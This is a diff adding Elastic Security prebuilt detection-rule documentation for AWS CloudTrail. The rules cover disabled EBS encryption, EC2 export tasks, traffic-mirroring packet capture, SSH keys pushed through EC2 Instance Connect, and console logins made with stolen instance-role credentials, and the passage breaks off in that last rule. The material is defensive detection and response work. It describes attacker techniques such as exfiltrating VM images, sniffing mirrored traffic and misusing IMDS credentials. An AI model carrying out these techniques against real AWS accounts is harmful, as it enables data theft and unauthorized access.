+** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-encryption-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-encryption-disabled.asciidoc new file mode 100644 index 0000000000..20c89ca8c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-encryption-disabled.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-aws-ec2-encryption-disabled]] +=== AWS EC2 Encryption Disabled + +Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/disable-ebs-encryption-by-default.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Encryption Disabled* + + +Amazon Elastic Block Store (EBS) encryption ensures that all new EBS volumes and snapshots are encrypted at rest using AWS KMS keys. +When encryption by default is disabled, new EBS volumes in the region will no longer inherit automatic encryption. +This action can have serious security implications as it can weaken the organization’s data protection posture, violate compliance requirements, or enable adversaries to read or exfiltrate sensitive information without triggering encryption-based access controls. + + +*Possible investigation steps* + + +**Identify the initiator and context** +- Review the `aws.cloudtrail.user_identity` fields to determine who or what performed the `DisableEbsEncryptionByDefault` action. + - Examine the `user_identity.type` (e.g., IAMUser, AssumedRole, Root, FederatedUser). + - Validate whether the actor is authorized to modify account-level encryption defaults. +- Check `source.ip` and `user_agent.original` to identify the origin of the request and whether it came from a known administrative system, automation process, or an unfamiliar host. +- Correlate with recent IAM activity such as `AttachUserPolicy`, `UpdateAccountPasswordPolicy`, or `PutAccountSetting` to identify potential privilege escalation or account misuse. + +**Review the timing and scope** +- Compare the event `@timestamp` with other CloudTrail management events to determine if the encryption change occurred alongside other administrative modifications. +- Investigate if similar actions were executed in other AWS regions, disabling encryption regionally may be part of a broader campaign. +- Review AWS Config or Security Hub findings to determine whether compliance controls or data protection standards (e.g., CIS, PCI-DSS, ISO 27001) have been violated. + +**Assess data exposure risk** +- Identify newly created or modified EBS volumes after the timestamp of this change. + - Query CloudTrail for `CreateVolume` or `CreateSnapshot` events without `Encrypted:true`. +- Determine whether sensitive workloads, such as production databases or applications, rely on unencrypted EBS volumes. +- Check for `CopySnapshot` or `ModifySnapshotAttribute` activity that could indicate data staging or exfiltration. + +**Correlate related security events** +- Look for concurrent detections or GuardDuty findings involving IAM privilege misuse, credential exposure, or configuration tampering. +- Review CloudTrail logs for any `DisableKeyRotation` or `ScheduleKeyDeletion` events related to the KMS key used for EBS encryption. These may indicate attempts to disrupt encryption mechanisms entirely. +- Review AWS Config timeline to confirm whether encryption-by-default was re-enabled or remained off. + + +*False positive analysis* + + +- **Administrative changes**: System or cloud administrators may disable default encryption temporarily for troubleshooting or migration. Verify if the user identity, role, or automation process is part of a legitimate change. +- **Infrastructure testing**: Non-production environments may disable encryption for cost or performance benchmarking. These should be tagged and excluded. +- **Service misconfiguration**: Some provisioning frameworks or scripts may unintentionally disable encryption defaults during environment setup. Ensure automation code uses explicit encryption flags when creating resources. + +If confirmed as expected, document the change request, implementation window, and user responsible for traceability. + + +*Response and remediation* + + +**Containment and restoration** +- Re-enable EBS encryption by default in the affected region to restore protection for new volumes: + - Via AWS Console: EC2 → Account Attributes → EBS encryption → Enable by default. + - Or via CLI/API: `enable-ebs-encryption-by-default`. +- Audit recently created EBS volumes and snapshots. + - Identify any unencrypted resources and re-encrypt them using KMS keys or snapshot-copy encryption workflows. +- Verify that AWS Config rules and Security Hub controls related to EBS encryption (`ec2-ebs-encryption-by-default-enabled`) are enabled and compliant. + +**Investigate and scope** +- Review IAM policies to ensure only designated administrators have the `ec2:DisableEbsEncryptionByDefault` permission. +- Check for other regional encryption settings (e.g., S3 default encryption) that may have been modified by the same user or automation role. +- Examine whether any new IAM roles or policies were added that allow similar encryption or security modifications. + +**Long-term hardening** +- Enable organization-level service control policies (SCPs) to prevent future disabling of encryption-by-default across accounts. +- Establish AWS Config conformance packs or Security Hub standards to continuously monitor this setting. +- Integrate detection correlation (e.g., link EBS encryption disablement with subsequent unencrypted `CreateVolume` events) for improved alert fidelity. +- Educate administrators on data protection implications and require change approvals for encryption-related settings. + +**Recovery validation** +- After restoring encryption-by-default, validate the change in CloudTrail and AWS Config timelines. +- Confirm that subsequent EBS volumes are created with `Encrypted:true`. +- Conduct a short post-incident review to document root cause, impact, and lessons learned for compliance audits. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html[EBS Encryption at Rest]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DisableEbsEncryptionByDefault and event.outcome:success + and not user_agent.original: (*Terraform*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-export-task.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-export-task.asciidoc new file mode 100644 index 0000000000..bf12196988 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-export-task.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-aws-ec2-export-task]] +=== AWS EC2 Export Task + +Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport_image.html +* https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.html, + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Asset Visibility +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Export Task* + + +The APIs `CreateInstanceExportTask`, `ExportImage`, and `CreateStoreImageTask` allow the export of a running or stopped EC2 instance (or its AMI/image) to external storage (e.g., S3) or image formats. While often used for migration, cloning or backup, adversaries can leverage these actions to copy full VM state or images out of the environment for exfiltration. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id` to identify who made the call. + - Verify `user_agent.original`, `source.ip` and `@timestamp` to determine whether the action is by known automation, trusted operator, or an unexpected identity or location. + - Confirm `cloud.account.id` and `cloud.region` match the expected account/region for export tasks. + +**Examine the specific export/image task details** + - Review `aws.cloudtrail.request_parameters` for details such as the `InstanceId`, `TargetEnvironment`, `S3Bucket`, `S3Key`, `DiskImageFormat`, `ContainerFormat`. + - Check `aws.cloudtrail.response_elements` for the resulting export task ID and status. + - Determine whether the exported instance or image contained sensitive workloads (e.g., production databases, critical systems) via instance tags or asset inventory. + +**Pivot to related API calls/events** + - Look for follow-on tasks such as: + - S3 bucket writes or cross-account bucket ACL changes (`PutBucketAcl`/`PutBucketPolicy`) referencing the export S3 bucket or key. + - `CopyImage`, `ModifyImageAttribute`, or `ShareImage` events if the exported image is copied or shared. + - Network or usage anomalies in the region or from the S3 bucket (large downloads from the exported object). + - Check for preceding suspicious actions that could indicate compromise: `AssumeRole`, `CreateAccessKey`, `AttachUserPolicy`, or unusual `Describe*` operations. + +**Assess legitimacy and risk** + - Confirm whether this export was authorized (via change ticket or migration workflow) and whether the principal has a documented justification for VM export. + - If unauthorized, assess what was exported, where it is stored, how it may be transferred or used externally, and the data risk exposure. + + +*False positive analysis* + + +- Legitimate migration or backup workflows may trigger these export/image APIs. +- Development/test environments may export VM images or instances for sandbox cloning. +- Known automation tools may create exports at scheduled times. + + +*Response and remediation* + + +- Immediately identify and disable or isolate any object/resource created by the export (e.g., the S3 bucket/object, image ID) that is suspected of unauthorized use. +- Revoke the access credentials (`aws.cloudtrail.user_identity.access_key_id`) used if they show unusual activity. +- Rotate keys, enforce MFA, and review IAM permissions for the principal. +- Audit the exported VM/image: review its contents if possible, check whether it has been moved off-account. +- Strengthen monitoring: set alerts for subsequent large data transfers from the S3 export location, cross-account sharing of exported images, or anomalous AMI imports. +- Update policy: restrict who can perform exports, monitor export actions via AWS Config or CloudTrail, tag and track export tasks and their destinations. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: ("CreateInstanceExportTask" or "ExportImage" or "CreateStoreImageTask") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-full-network-packet-capture-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-full-network-packet-capture-detected.asciidoc new file mode 100644 index 0000000000..e1758d52fa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-full-network-packet-capture-detected.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-aws-ec2-full-network-packet-capture-detected]] +=== AWS EC2 Full Network Packet Capture Detected + +Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorSession.html +* https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Full Network Packet Capture Detected* + + +This alert fires on a successful `CreateTrafficMirrorSession`, which enables full-packet Traffic Mirroring from a +source ENI to a mirror target under a given filter. Because sessions immediately begin sending packets once active, +treat unexpected creations as high priority. + + +*Possible investigation steps* + + +**Identify the actor and execution context** +- **Principal**: Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id` to determine who created the session (human IAM user vs. assumed role vs. automation). +- **Caller metadata**: Check `user_agent.original`, and `source.ip` for unusual tools, hosts, or locations. +- **Account/Region/Time**: Validate `cloud.account.id`, `cloud.region`, and `@timestamp` against change windows or tickets. + +**Extract the session details from the event** +- **Request parameters**: Parse `aws.cloudtrail.request_parameters` for: + - `NetworkInterfaceId` (mirrored source ENI) map to the EC2 instance and its business function. + - `TrafficMirrorTargetId` identify where packets are being sent (ENI vs. NLB). + - `TrafficMirrorFilterId` check which directions and protocols are allowed (ingress/egress, ports). + - `SessionNumber`, `Description`, `TagSpecifications` look for operator tags or suspicious notes. +- **Response elements**: Use `aws.cloudtrail.response_elements` to confirm the created `TrafficMirrorSessionId` and + any resolved resource ARNs/IDs. + +**Pivot for related API calls to validate scope and intent** +Look before and after this event (±30–60 minutes) by the same principal / access key / source IP for: +- **Target & Filter lifecycle**: `CreateTrafficMirrorTarget`, `CreateTrafficMirrorFilter`, `CreateTrafficMirrorFilterRule`, + `ModifyTrafficMirrorSession|Filter|FilterRule`, and `Delete*` calls (rapid create-modify patterns can indicate staging). +- **Session management**: `DeleteTrafficMirrorSession` shortly after creation (test/probe), or repeated creations to different targets. +- **Discovery/positioning**: `DescribeNetworkInterfaces`, `DescribeInstances`, `DescribeVpcs/Subnets/RouteTables` around the same time. +- **Cross-account indicators**: creation of targets that forward to infrastructure not owned by your account (e.g., NLB in shared services). +- **Other suspicious changes**: IAM permission changes, new access keys, or S3/SNS setup that could support exfil/ops. + +**Validate the mirror destination and potential data exposure** +- If the target is an ENI: identify the owning instance/application; confirm it is an approved NDR/packet capture host. +- If the target is an NLB target: determine where the NLB sends traffic (could be a collection point in another VPC or account). +- Assess whether mirrored flows include plaintext protocols (internal HTTP, databases, LDAP, etc.) increasing sensitivity. + + +*False positive analysis* + + +- **Authorized monitoring**: Approved NDR/IDS tooling or troubleshooting playbooks may legitimately create sessions. +- **Ops/diagnostics**: Short-lived sessions during incident handling or performance analysis. +- **Automation**: Infrastructure pipelines that stand up temporary mirroring for validation. + + +*Response and remediation* + + +**Contain** +- If unauthorized, terminate the session immediately (use the `TrafficMirrorSessionId` from `aws.cloudtrail.response_elements`) + and block creation permissions for the offending principal. +- Quarantine or restrict egress from the target if you suspect it is forwarding captured traffic outside approved destinations. + +**Investigate** +- Enumerate all active sessions in the affected account/region; verify there aren’t additional rogue sessions. +- Review related target and filter resources (and recent `Modify*` calls) to understand captured scope and recipients. +- Trace the source ENI back to the EC2 instance and validate whether sensitive workloads were mirrored. + +**Recover & harden** +- Remove or lock down unapproved targets/filters; enforce least privilege on `ec2:CreateTrafficMirrorSession/Target/Filter`. +- Consider SCPs or IAM conditions limiting who/where sessions can be created (e.g., only into designated monitoring VPCs). +- Ensure monitoring targets are controlled, logged, and not internet-reachable. + +**Improve** +- Add correlation logic to automatically surface CreateTrafficMirrorSession alongside Create/Modify Target/Filter calls by the same actor. +- Require tags on approved mirroring resources; alert on untagged/unticketed creations. +- Update playbooks to include a standard validation checklist (principal, source ENI, target, filter rules, destination path). + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: "CreateTrafficMirrorSession" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc new file mode 100644 index 0000000000..dc32736fc1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-aws-ec2-instance-connect-ssh-public-key-uploaded]] +=== AWS EC2 Instance Connect SSH Public Key Uploaded + +Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques +* https://medium.parttimepolymath.net/aws-ec2-instance-connect-a-very-neat-trick-4d2fc0c28010 +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.lateral-movement.ec2-instance-connect/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc +* https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html +* https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSerialConsoleSSHPublicKey.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 Instance Connect SSH Public Key Uploaded* + + +This rule detects when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. Adversaries may upload SSH public keys to EC2 instances to maintain access to the instance or for initial access. This action also occurs automatically in the background when establishing a connection to an instance via the same service. The rule covers cases where the `SendSerialConsoleSSHPublicKey` API action is used to upload an SSH public key to a serial connection, which can be exploited for privilege escalation. + + +*Possible Investigation Steps:* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who performed the action. Verify if this actor typically performs such actions and if they have the necessary permissions. +- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific details of the SSH public key upload. Look for any unusual parameters that could suggest unauthorized or malicious modifications. Determine the targeted EC2 instance. +- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. +- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the SSH public key was uploaded. Changes during non-business hours or outside regular maintenance windows might require further scrutiny. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this action to see if the same actor or IP address engaged in other potentially suspicious activities. +- **Check for Serial Console Access**: If the `SendSerialConsoleSSHPublicKey` action was used, verify if the `ec2:EnableSerialConsoleAccess` permission was also used, which might indicate an attempt to enable and exploit the serial console. + + +*False Positive Analysis:* + + +- **Legitimate Administrative Actions**: Confirm if the SSH public key upload aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems. +- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm. + + + +*Response and Remediation:* + + +- **Immediate Review and Reversal if Necessary**: If the upload was unauthorized, remove the uploaded SSH public key from the EC2 instance and review the instance's access logs for any suspicious activity. +- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive instances or unusual file extensions. +- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning SSH key management and the risks of unauthorized key uploads. +- **Audit EC2 Instance Policies and Permissions**: Conduct a comprehensive audit of all EC2 instance policies and associated permissions to ensure they adhere to the principle of least privilege. +- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. + + +*Additional Information:* + + +For further guidance on managing EC2 instances and securing AWS environments, refer to the https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html[AWS EC2 Instance Connect documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on SSH key management and privilege escalation techniques: +- https://stratus-red-team.cloud/attack-techniques/AWS/aws.lateral-movement.ec2-instance-connect/[Stratus Red Team - AWS EC2 Instance Connect] +- https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc[HackTricks - AWS EC2 Privilege Escalation] +- https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html[AWS EC2 Instance Connect API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: ec2-instance-connect.amazonaws.com + and event.action: (SendSSHPublicKey or SendSerialConsoleSSHPublicKey) + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-console-login-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-console-login-via-assumed-role.asciidoc new file mode 100644 index 0000000000..867b72fb87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-console-login-via-assumed-role.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-34-aws-ec2-instance-console-login-via-assumed-role]] +=== AWS EC2 Instance Console Login via Assumed Role + +Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://redcanary.com/blog/aws-sts/ +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Data Source: AWS STS +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Lateral Movement +* Tactic: Credential Access +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Service: AWS STS + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Instance Console Login via Assumed Role* + + +This rule detects successful AWS console or federation logins using temporary credentials tied to EC2 instance profiles. Under normal conditions, EC2 instances use their temporary credentials for programmatic API access — **not** for interactive console sessions. When an attacker gains access to an instance’s IMDS (Instance Metadata Service) or its environment variables, they may retrieve temporary STS credentials and attempt console logins to gain full access to the AWS account. A successful login of this type is rare and high-risk, as it strongly suggests credential theft or unauthorized session hijacking. + + +*Possible investigation steps* + + +- **Identify the source and actor** + - Review `aws.cloudtrail.user_identity.arn`, `user.id`, and `user_agent.original` fields to confirm the session originated from an EC2 instance (`:i-` pattern). + - Correlate the instance ID (`i-xxxxxx`) with the specific EC2 instance in your environment to identify its owner, purpose, and running applications. + - Check `source.ip` and `cloud.region` to determine if the login originated from within AWS infrastructure (expected) or an external location (suspicious). + +- **Correlate surrounding activity** + - Pivot in Timeline to view the sequence of events leading up to the login, including: + - STS token retrievals (`GetSessionToken`, `AssumeRole`, `GetCallerIdentity`) + - Calls to the IMDS endpoint or local credential exfiltration attempts from the instance. + - Investigate whether the same role or credentials were used for API actions following the login (e.g., `CreateUser`, 